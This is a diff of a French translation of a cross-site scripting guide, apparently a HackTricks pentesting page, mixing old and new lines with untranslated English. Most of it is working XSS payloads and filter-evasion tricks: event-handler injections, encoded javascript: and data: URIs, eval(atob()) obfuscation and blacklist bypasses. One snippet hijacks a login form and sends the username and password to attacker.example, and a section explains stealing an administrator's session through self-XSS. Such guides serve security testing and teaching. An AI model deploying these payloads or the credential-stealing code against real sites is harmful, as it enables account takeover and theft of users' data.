Les **HTML encoded characters** à l'intérieur de la valeur des attributs des balises HTML sont **decoded on runtime**. Par conséquent quelque chose comme ce qui suit sera valide (le payload est en gras) : `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
|
||||
Notez que **any kind of HTML encode is valid**:
|
||||
Notez que **any kind of HTML encode is valid** :
|
||||
```javascript
|
||||
//HTML entities
|
||||
'-alert(1)-'
|
||||
@ -303,7 +302,7 @@ Notez que **any kind of HTML encode is valid**:
|
||||
```python
|
||||
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
|
||||
```
|
||||
**Bypass à l'intérieur de l'event en utilisant Unicode encode**
|
||||
**Bypass à l'intérieur de event en utilisant Unicode encode**
|
||||
```javascript
|
||||
//For some reason you can use unicode to encode "alert" but not "(1)"
|
||||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
@ -311,7 +310,7 @@ Notez que **any kind of HTML encode is valid**:
|
||||
```
|
||||
### Protocoles spéciaux dans l'attribut
|
||||
|
||||
Là, vous pouvez utiliser les protocoles **`javascript:`** ou **`data:`** dans certains endroits pour **exécuter du code JS arbitraire**. Certains nécessiteront une interaction de l'utilisateur, d'autres non.
|
||||
Là, vous pouvez utiliser les protocoles **`javascript:`** ou **`data:`** à certains endroits pour **exécuter du code JS arbitraire**. Certains exigeront une interaction utilisateur, d'autres non.
|
||||
```javascript
|
||||
javascript:alert(1)
|
||||
JavaSCript:alert(1)
|
||||
@ -331,9 +330,9 @@ data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
|
||||
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
|
||||
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
|
||||
```
|
||||
**Endroits où vous pouvez injecter ces protocoles**
|
||||
**Emplacements où vous pouvez injecter ces protocoles**
|
||||
|
||||
**En général** le protocole `javascript:` peut être **utilisé dans n'importe quelle balise qui accepte l'attribut `href`** et dans **la plupart** des balises qui acceptent l'**attribut `src`** (mais pas `<img>`)
|
||||
**En général** le protocole `javascript:` peut être **utilisé dans n'importe quelle balise qui accepte l'attribut `href`** et dans **la plupart** des balises qui acceptent l'**attribut `src`** (mais pas `<img`)
|
||||
```html
|
||||
<a href="javascript:alert(1)">
|
||||
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
||||
@ -353,23 +352,23 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
||||
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
|
||||
<iframe srcdoc="<svg onload=alert(4);>">
|
||||
```
|
||||
**Autres astuces d'obfuscation**
|
||||
**Autres obfuscation tricks**
|
||||
|
||||
_**Dans ce cas, l'encodage HTML et l'astuce d'encodage Unicode de la section précédente sont également valides puisque vous êtes à l'intérieur d'un attribut.**_
|
||||
_**Dans ce cas, l'encodage HTML et l'encodage Unicode vus dans la section précédente sont également valides car vous êtes à l'intérieur d'un attribut.**_
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
De plus, il existe une autre **nice trick** pour ces cas : **Même si votre input à l'intérieur de `javascript:...` est URL encoded, il sera URL decoded avant d'être exécuté.** Donc, si vous devez **échapper** de la **string** en utilisant une **single quote** et que vous voyez qu'**elle est URL encoded**, souvenez-vous que **ça n'a pas d'importance,** elle sera **interprétée** comme une **single quote** au moment de l'**exécution**.
|
||||
De plus, il existe une autre **astuce sympa** pour ces cas : **Même si votre entrée à l'intérieur de `javascript:...` est encodée en URL, elle sera décodée avant d'être exécutée.** Donc, si vous devez **sortir** de la **chaîne** en utilisant une **apostrophe** et que vous voyez qu'elle **est encodée en URL**, souvenez-vous que **cela n'a pas d'importance,** elle sera **interprétée** comme une **apostrophe** au moment de **l'exécution**.
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
Notez que si vous essayez d'**utiliser les deux** `URLencode + HTMLencode` dans n'importe quel ordre pour encoder le **payload**, cela **ne** **fonctionnera** **pas**, mais vous pouvez **les mélanger à l'intérieur du payload**.
|
||||
Notez que si vous essayez d'**utiliser les deux** `URLencode + HTMLencode` dans n'importe quel ordre pour encoder la **payload**, cela ne **fonctionnera** pas, mais vous pouvez **les mélanger à l'intérieur de la payload**.
|
||||
|
||||
**Utiliser Hex et Octal encode avec `javascript:`**
|
||||
**Utilisation de Hex et Octal encode avec `javascript:`**
|
||||
|
||||
Vous pouvez utiliser **Hex** et **Octal encode** dans l'attribut `src` de `iframe` (au moins) pour déclarer **HTML tags to execute JS**:
|
||||
Vous pouvez utiliser **Hex** et **Octal encode** à l'intérieur de l'attribut `src` de `iframe` (au moins) pour déclarer **HTML tags to execute JS**:
|
||||
```javascript
|
||||
//Encoded: <svg onload=alert(1)>
|
||||
// This WORKS
|
||||
@ -387,14 +386,15 @@ Vous pouvez utiliser **Hex** et **Octal encode** dans l'attribut `src` de `ifram
|
||||
```
|
||||
Si vous pouvez injecter n'importe quelle URL dans une balise arbitraire **`<a href=`** qui contient les attributs **`target="_blank" and rel="opener"`**, consultez la **page suivante pour exploiter ce comportement** :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../reverse-tab-nabbing.md
|
||||
{{#endref}}
|
||||
|
||||
### Bypass des gestionnaires d'événements 'on'
|
||||
### Contournement des gestionnaires d'événements 'on'
|
||||
|
||||
Tout d'abord consultez cette page ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) pour des **"on" event handlers** utiles.\
|
||||
Si une blacklist vous empêche de créer ces gestionnaires d'événements, vous pouvez essayer les contournements suivants :
|
||||
Tout d'abord, consultez cette page ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) pour des **gestionnaires d'événements 'on'** utiles.\
|
||||
Si une liste noire vous empêche de créer ces gestionnaires d'événements, vous pouvez essayer les contournements suivants :
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
<svg %09onload=alert(1)>
|
||||
@ -409,14 +409,14 @@ Firefox: %09 %20 %28 %2C %3B
|
||||
Opera: %09 %20 %2C %3B
|
||||
Android: %09 %20 %28 %2C %3B
|
||||
```
|
||||
### XSS dans "Unexploitable tags" (hidden input, link, canonical, meta)
|
||||
### XSS in "Unexploitable tags" (hidden input, link, canonical, meta)
|
||||
|
||||
D'après [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **il est désormais possible d'abuser des hidden inputs avec :**
|
||||
D'après [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **il est maintenant possible d'abuser des hidden inputs avec :**
|
||||
```html
|
||||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
|
||||
```
|
||||
Et dans **meta tags**:
|
||||
Et dans les **balises meta** :
|
||||
```html
|
||||
<!-- Injection inside meta attribute-->
|
||||
<meta
|
||||
@ -430,15 +430,15 @@ onbeforetoggle="alert(2)" />
|
||||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
Depuis [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Vous pouvez exécuter un **XSS payload inside a hidden attribute**, à condition de **persuader** la **victime** d'appuyer sur la **combinaison de touches**. Sur Firefox Windows/Linux la combinaison est **ALT+SHIFT+X** et sur OS X elle est **CTRL+ALT+X**. Vous pouvez spécifier une combinaison différente en utilisant une autre touche dans l'access key attribute. Voici le vecteur:
|
||||
Depuis [**here**](https://portswigger.net/research/xss-in-hidden-input-fields) : Vous pouvez exécuter un **XSS payload inside a hidden attribute**, à condition de **persuader** la **victime** d'appuyer sur la **combinaison de touches**. Sous Firefox Windows/Linux la combinaison est **ALT+SHIFT+X** et sur OS X elle est **CTRL+ALT+X**. Vous pouvez spécifier une combinaison différente en utilisant une touche différente dans l'access key attribute. Voici le vecteur :
|
||||
```html
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
**Le payload XSS sera quelque chose comme ceci : `" accesskey="x" onclick="alert(1)" x="`**
|
||||
**Le XSS payload sera quelque chose comme ceci : `" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
### Blacklist Bypasses
|
||||
|
||||
Plusieurs astuces utilisant différents encodages ont déjà été présentées dans cette section. Revenez en arrière pour apprendre où vous pouvez utiliser :
|
||||
Plusieurs astuces utilisant différents encodages ont déjà été exposées dans cette section. Revenez en arrière pour apprendre où vous pouvez les utiliser :
|
||||
|
||||
- **HTML encoding (HTML tags)**
|
||||
- **Unicode encoding (can be valid JS code):** `\u0061lert(1)`
|
||||
@ -448,47 +448,47 @@ Plusieurs astuces utilisant différents encodages ont déjà été présentées
|
||||
|
||||
**Bypasses for HTML tags and attributes**
|
||||
|
||||
Consultez la [Blacklist Bypasses of the previous section](#blacklist-bypasses).
|
||||
Read the[ Blacklist Bypasses of the previous section](#blacklist-bypasses).
|
||||
|
||||
**Bypasses for JavaScript code**
|
||||
|
||||
Consultez la J[avaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques).
|
||||
Read the J[avaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques).
|
||||
|
||||
### CSS-Gadgets
|
||||
|
||||
Si vous trouvez une **XSS dans une très petite partie** du site qui nécessite une interaction (peut-être un petit lien dans le footer avec un onmouseover), vous pouvez essayer de **modifier l'espace que cet élément occupe** pour maximiser les probabilités que le lien se déclenche.
|
||||
If you found a **XSS in a very small part** of the web that requires some kind of interaction (maybe a small link in the footer with an onmouseover element), you can try to **modify the space that element occupies** to maximize the probabilities of have the link fired.
|
||||
|
||||
Par exemple, vous pouvez ajouter du style à l'élément comme : `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
For example, you could add some styling in the element like: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
Mais, si le WAF filtre l'attribut style, vous pouvez utiliser des CSS Styling Gadgets, donc si vous trouvez, par exemple
|
||||
But, if the WAF is filtering the style attribute, you can use CSS Styling Gadgets, so if you find, for example
|
||||
|
||||
> .test {display:block; color: blue; width: 100%\}
|
||||
|
||||
et
|
||||
and
|
||||
|
||||
> \#someid {top: 0; font-family: Tahoma;}
|
||||
|
||||
Vous pouvez alors modifier notre lien et le mettre sous la forme
|
||||
Now you can modify our link and bring it to the form
|
||||
|
||||
> \<a href="" id=someid class=test onclick=alert() a="">
|
||||
|
||||
Cette astuce provient de [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
|
||||
This trick was taken from [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
|
||||
|
||||
## Injecting inside JavaScript code
|
||||
## Injection à l'intérieur du code JavaScript
|
||||
|
||||
Dans ces cas votre **input** va être **réfléchi à l'intérieur du code JS** d'un fichier `.js` ou entre des balises `<script>...</script>` ou entre des events HTML qui peuvent exécuter du code JS ou entre des attributs qui acceptent le protocole `javascript:`.
|
||||
Dans ce cas votre **input** va être **reflété à l'intérieur du JS code** d'un fichier `.js` ou entre des balises `<script>...</script>` ou entre des événements HTML qui peuvent exécuter du code JS ou entre des attributs qui acceptent le protocole `javascript:`.
|
||||
|
||||
### Échapper la balise \<script>
|
||||
|
||||
Si votre code est inséré à l'intérieur de `<script> [...] var input = 'reflected data' [...] </script>` vous pouvez facilement **échapper la fermeture de la balise `<script>`** :
|
||||
Si votre code est inséré au sein de `<script> [...] var input = 'reflected data' [...] </script>` vous pouvez facilement fermer prématurément la balise `<script>` :
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
Remarquez que dans cet exemple nous **n'avons même pas fermé l'apostrophe**. Ceci s'explique parce que **l'analyse HTML est effectuée en premier par le navigateur**, ce qui implique l'identification des éléments de la page, y compris les blocs de script. L'analyse de JavaScript pour comprendre et exécuter les scripts embarqués n'est effectuée qu'ensuite.
|
||||
Notez que dans cet exemple nous n'avons **même pas fermé l'apostrophe**. Ceci s'explique par le fait que **l'analyse HTML est effectuée en premier par le navigateur**, ce qui implique l'identification des éléments de la page, y compris les blocs de script. L'analyse de JavaScript pour comprendre et exécuter les scripts intégrés n'est effectuée qu'ensuite.
|
||||
|
||||
### Dans le code JS
|
||||
|
||||
Si `<>` sont assainis vous pouvez quand même **échapper la chaîne** à l'endroit où votre entrée est **située** et **exécuter du JS arbitraire**. Il est important de **corriger la syntaxe JS**, car s'il y a des erreurs, le code JS ne sera pas exécuté :
|
||||
Si `<>` sont sanitisés vous pouvez toujours **échapper la chaîne** là où votre entrée est **située** et **exécuter du JS arbitraire**. Il est important de **corriger la syntaxe JS**, car s'il y a des erreurs, le code JS ne sera pas exécuté:
|
||||
```
|
||||
'-alert(document.domain)-'
|
||||
';alert(document.domain)//
|
||||
@ -507,12 +507,12 @@ Exemple de modèle d'URL lorsque le paramètre vulnérable est reflété dans un
|
||||
```
|
||||
?param=test";<INJECTION>;a="
|
||||
```
|
||||
Cela exécute du JS de l'attaquant sans avoir besoin de toucher le contexte HTML (pure JS-in-JS). Combinez avec les blacklist bypasses ci‑dessous lorsque les filtres bloquent des mots-clés.
|
||||
Cela exécute le JS de l'attaquant sans avoir besoin de toucher le contexte HTML (pure JS-in-JS). Combinez avec les blacklist bypasses ci-dessous lorsque les filters bloquent des keywords.
|
||||
|
||||
### Template literals ``
|
||||
|
||||
Pour construire des **chaînes** en plus des guillemets simples et doubles, JS accepte aussi les **backticks** **` `` `**. Ceci est connu sous le nom de template literals car ils permettent d'**insérer des expressions JS** en utilisant la syntaxe `${ ... }`.\
|
||||
Donc, si vous constatez que votre entrée est **réfléchie** à l'intérieur d'une chaîne JS utilisant des backticks, vous pouvez abuser de la syntaxe `${ ... }` pour exécuter du **code JS arbitraire** :
|
||||
Pour construire des **strings**, en plus des guillemets simples et doubles, JS accepte aussi les **backticks** **` `` `**. C'est ce qu'on appelle template literals car ils permettent d'**embedded JS expressions** en utilisant la syntaxe `${ ... }`.\
|
||||
Par conséquent, si vous constatez que votre input est **reflected** à l'intérieur d'une chaîne JS qui utilise des backticks, vous pouvez abuser de la syntaxe `${ ... }` pour exécuter du **code JS arbitraire** :
|
||||
|
||||
Cela peut être **abusé** en utilisant:
|
||||
```javascript
|
||||
@ -533,26 +533,28 @@ loop``
|
||||
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
|
||||
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
|
||||
```
|
||||
#### Deliverable payloads avec eval(atob()) et nuances de scope
|
||||
#### Deliverable payloads with eval(atob()) and scope nuances
|
||||
|
||||
Pour garder les URL plus courtes et contourner des filtres naïfs basés sur des mots-clés, vous pouvez encoder en base64 votre logique réelle et l'évaluer avec `eval(atob('...'))`. Si un filtrage simple par mot-clé bloque des identifiants comme `alert`, `eval` ou `atob`, utilisez des identifiants échappés en Unicode qui se compilent de façon identique dans le navigateur mais échappent aux filtres de correspondance de chaînes :
|
||||
Pour garder les URLs plus courtes et contourner des filtres de mots-clés naïfs, vous pouvez encoder votre logique réelle en base64 et l'évaluer avec `eval(atob('...'))`. Si un filtrage simple par mots-clés bloque des identifiants comme `alert`, `eval`, ou `atob`, utilisez des identifiants échappés en Unicode qui s'exécutent de manière identique dans le navigateur mais évitent les filtres de correspondance de chaînes :
|
||||
```
|
||||
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
|
||||
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
|
||||
```
|
||||
Nuance importante sur la portée : `const`/`let` déclarés à l'intérieur de `eval()` sont à portée de bloc et ne créent PAS de globals ; ils ne seront pas accessibles aux scripts ultérieurs. Utilisez un élément `<script>` injecté dynamiquement pour définir des hooks globaux non-rebindable lorsque cela est nécessaire (p. ex., pour hijack un form handler) :
|
||||
Nuance importante concernant le scoping : `const`/`let` déclarés à l'intérieur de `eval()` sont à portée de bloc et NE créent PAS de variables globales ; ils ne seront pas accessibles aux scripts ultérieurs. Utilisez un élément `<script>` injecté dynamiquement pour définir des hooks globaux non réassignables lorsque nécessaire (par ex., to hijack a form handler) :
|
||||
```javascript
|
||||
var s = document.createElement('script');
|
||||
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
|
||||
document.head.appendChild(s);
|
||||
```
|
||||
### Exécution JS encodée en Unicode
|
||||
Référence: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
|
||||
|
||||
### Encodage Unicode pour l'exécution JS
|
||||
```javascript
|
||||
alert(1)
|
||||
alert(1)
|
||||
alert(1)
|
||||
```
|
||||
### Techniques de contournement des blacklists en JavaScript
|
||||
### JavaScript techniques de bypass blacklists
|
||||
|
||||
**Strings**
|
||||
```javascript
|
||||
@ -590,7 +592,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
<TAB>
|
||||
/**/
|
||||
```
|
||||
**JavaScript comments (de** [**JavaScript Comments**](#javascript-comments) **astuce)**
|
||||
**JavaScript commentaires (tiré de** [**JavaScript Comments**](#javascript-comments) **astuce)**
|
||||
```javascript
|
||||
//This is a 1 line comment
|
||||
/* This is a multiline comment*/
|
||||
@ -598,7 +600,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||||
```
|
||||
**Sauts de ligne JavaScript (d'après** [**JavaScript new line**](#javascript-new-lines) **astuce)**
|
||||
**JavaScript new lines (d'après** [**JavaScript new line**](#javascript-new-lines) **astuce)**
|
||||
```javascript
|
||||
//Javascript interpret as new line these chars:
|
||||
String.fromCharCode(10)
|
||||
@ -773,17 +775,18 @@ top['al\x65rt'](1)
|
||||
top[8680439..toString(30)](1)
|
||||
<svg><animate onbegin=alert() attributeName=x></svg>
|
||||
```
|
||||
## **Vulnérabilités DOM**
|
||||
## **DOM vulnerabilities**
|
||||
|
||||
Il existe du **JS code** qui utilise des **données non sécurisées contrôlées par un attaquant** comme `location.href`. Un attaquant pourrait abuser de cela pour exécuter du JS arbitraire.\
|
||||
**En raison de l'ampleur de l'explication de** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
|
||||
|
||||
Il existe du **JS code** qui utilise des **données non sécurisées contrôlées par un attaquant** comme `location.href`. Un attaquant pourrait abuser de cela pour exécuter du code JS arbitraire.\
|
||||
**Due to the extension of the explanation of** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
|
||||
|
||||
{{#ref}}
|
||||
dom-xss.md
|
||||
{{#endref}}
|
||||
|
||||
Vous y trouverez une **explication détaillée de ce que sont les vulnérabilités DOM, comment elles sont provoquées, et comment les exploiter**.\
|
||||
De plus, n'oubliez pas qu'**à la fin du post mentionné** vous pouvez trouver une explication à propos de [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering).
|
||||
Là, vous trouverez une **explication détaillée de ce que sont les DOM vulnerabilities, comment elles sont provoquées, et comment les exploiter**.\
|
||||
De plus, n'oubliez pas qu'**à la fin de l'article mentionné** vous pouvez trouver une explication sur [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering).
|
||||
|
||||
### Amélioration de Self-XSS
|
||||
|
||||
@ -798,21 +801,21 @@ If you can trigger a XSS by sending the payload inside a cookie, this is usually
|
||||
|
||||
You can find a great abuse of this technique in [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
|
||||
|
||||
### Envoyer votre session à l'administrateur
|
||||
### Envoyer votre session à l'admin
|
||||
|
||||
Il se peut qu'un utilisateur puisse partager son profil avec l'admin et si le self XSS se trouve dans le profil de l'utilisateur et que l'admin y accède, il déclenchera la vulnérabilité.
|
||||
Il est possible qu'un utilisateur partage son profil avec l'admin ; si le self XSS se trouve dans le profil de l'utilisateur et que l'admin y accède, il déclenchera la vulnérabilité.
|
||||
|
||||
### Session Mirroring
|
||||
|
||||
Si vous trouvez un self XSS et que la page web possède une **session mirroring pour les administrateurs**, par exemple permettant aux clients de demander de l'aide, et pour que l'admin puisse vous aider, il verra ce que vous voyez dans votre session mais depuis sa session.
|
||||
If you find some self XSS and the web page have a **session mirroring for administrators**, for example allowing clients to ask for help an in order for the admin to help you he will be seeing what you are seeing in your session but from his session.
|
||||
|
||||
Vous pourriez amener l'**administrateur à déclencher votre self XSS** et voler ses cookies/session.
|
||||
You could make the **administrator trigger your self XSS** and steal his cookies/session.
|
||||
|
||||
## Other Bypasses
|
||||
|
||||
### Unicode normalisé
|
||||
### Normalised Unicode
|
||||
|
||||
Vous pouvez vérifier si les **valeurs reflétées** sont **normalisées en Unicode** côté serveur (ou côté client) et abuser de cette fonctionnalité pour contourner les protections. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
|
||||
Vous pouvez vérifier si les **reflected values** sont **unicode normalized** côté serveur (ou côté client) et abuser de cette fonctionnalité pour bypasser des protections. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
|
||||
|
||||
### PHP FILTER_VALIDATE_EMAIL flag Bypass
|
||||
```javascript
|
||||
@ -820,16 +823,16 @@ Vous pouvez vérifier si les **valeurs reflétées** sont **normalisées en Unic
|
||||
```
|
||||
### Ruby-On-Rails bypass
|
||||
|
||||
En raison de **RoR mass assignment**, des guillemets sont insérés dans le HTML et la restriction des guillemets est contournée, ce qui permet d'ajouter des champs supplémentaires (onfocus) à l'intérieur de la balise.\
|
||||
Exemple de formulaire ([d'après ce rapport](https://hackerone.com/reports/709336)), si vous envoyez le payload:
|
||||
En raison du **RoR mass assignment**, des guillemets sont insérés dans le HTML, puis la restriction sur les guillemets est contournée et des champs supplémentaires (onfocus) peuvent être ajoutés à l'intérieur de la balise.\
|
||||
Exemple de formulaire ([from this report](https://hackerone.com/reports/709336)), si vous envoyez le payload:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
```
|
||||
La paire "Key","Value" sera renvoyée ainsi :
|
||||
La paire "Key","Value" sera renvoyée comme ceci :
|
||||
```
|
||||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||||
```
|
||||
Ensuite, l'attribut onfocus sera inséré et une vulnérabilité XSS se produit.
|
||||
Ensuite, l'attribut onfocus sera inséré et XSS se produira.
|
||||
|
||||
### Combinaisons spéciales
|
||||
```html
|
||||
@ -863,13 +866,14 @@ document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### XSS with header injection in a 302 response
|
||||
|
||||
If you find that you can **inject headers in a 302 Redirect response** you could try to **make the browser execute arbitrary JavaScript**. This is **not trivial** as modern browsers do not interpret the HTTP response body if the HTTP response status code is a 302, so just a cross-site scripting payload is useless.
|
||||
Si vous trouvez que vous pouvez **injecter des en-têtes dans une réponse 302 Redirect** vous pouvez essayer de **faire exécuter du JavaScript arbitraire par le navigateur**. Ce n'est **pas trivial** car les navigateurs modernes n'interprètent pas le corps de la réponse HTTP si le code de statut HTTP est 302, donc un simple payload cross-site scripting est inutile.
|
||||
|
||||
In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.\\
|
||||
In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.\
|
||||
Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
|
||||
|
||||
### Only Letters, Numbers and Dots
|
||||
|
||||
If you are able to indicate the **callback** that javascript is going to **execute** limited to those chars. [**Read this section of this post**](#javascript-function) to find how to abuse this behaviour.
|
||||
Si vous pouvez indiquer le **callback** que javascript va **exécuter**, limité à ces caractères. [**Read this section of this post**](#javascript-function) pour découvrir comment abuser de ce comportement.
|
||||
|
||||
### Valid `<script>` Content-Types to XSS
|
||||
|
||||
@ -899,16 +903,16 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
};
|
||||
|
||||
```
|
||||
### Types de script pour XSS
|
||||
### Types de scripts pour XSS
|
||||
|
||||
(Source: [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Alors, quels types pourraient être indiqués pour charger un script ?
|
||||
(Depuis [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Alors, quels types peuvent être indiqués pour charger un script ?
|
||||
```html
|
||||
<script type="???"></script>
|
||||
```
|
||||
La réponse est :
|
||||
|
||||
- **module** (par défaut, rien à expliquer)
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles est une fonctionnalité qui permet d'empaqueter un ensemble de données (HTML, CSS, JS…) dans un fichier **`.wbn`**.
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles est une fonctionnalité qui permet de regrouper un ensemble de données (HTML, CSS, JS…) dans un fichier **`.wbn`**.
|
||||
```html
|
||||
<script type="webbundle">
|
||||
{
|
||||
@ -935,9 +939,9 @@ import moment from "moment"
|
||||
import { partition } from "lodash"
|
||||
</script>
|
||||
```
|
||||
Ce comportement a été utilisé dans [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) pour remapper une bibliothèque vers eval afin d'en abuser et déclencher un XSS.
|
||||
Ce comportement a été utilisé dans [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) pour remapper une bibliothèque sur eval et en abuser, ce qui peut déclencher du XSS.
|
||||
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Cette fonctionnalité sert principalement à résoudre certains problèmes causés par le pré-rendu. Voici comment cela fonctionne :
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Cette fonctionnalité sert principalement à résoudre certains problèmes causés par pre-rendering. Elle fonctionne comme suit :
|
||||
```html
|
||||
<script type="speculationrules">
|
||||
{
|
||||
@ -953,9 +957,9 @@ Ce comportement a été utilisé dans [**this writeup**](https://github.com/zwad
|
||||
}
|
||||
</script>
|
||||
```
|
||||
### Web Content-Types to XSS
|
||||
### Web Content-Types pour XSS
|
||||
|
||||
(Depuis [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Les types de contenu suivants peuvent exécuter du XSS dans tous les navigateurs :
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Les types de contenu suivants peuvent exécuter du XSS dans tous les navigateurs :
|
||||
|
||||
- text/html
|
||||
- application/xhtml+xml
|
||||
@ -968,9 +972,9 @@ Ce comportement a été utilisé dans [**this writeup**](https://github.com/zwad
|
||||
|
||||
Dans d'autres navigateurs, d'autres **`Content-Types`** peuvent être utilisés pour exécuter du JS arbitraire, voir : [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
|
||||
### xml Content Type
|
||||
### Type de contenu xml
|
||||
|
||||
Si la page renvoie un Content-Type text/xml, il est possible d'indiquer un namespace et d'exécuter du JS arbitraire :
|
||||
Si la page renvoie un content-type text/xml il est possible d'indiquer un namespace et d'exécuter du JS arbitraire :
|
||||
```xml
|
||||
<xml>
|
||||
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
||||
@ -980,9 +984,9 @@ Si la page renvoie un Content-Type text/xml, il est possible d'indiquer un names
|
||||
```
|
||||
### Modèles de remplacement spéciaux
|
||||
|
||||
Quand quelque chose comme **`"some {{template}} data".replace("{{template}}", <user_input>)`** est utilisé. L'attaquant pourrait utiliser [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) pour tenter de contourner certaines protections : `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
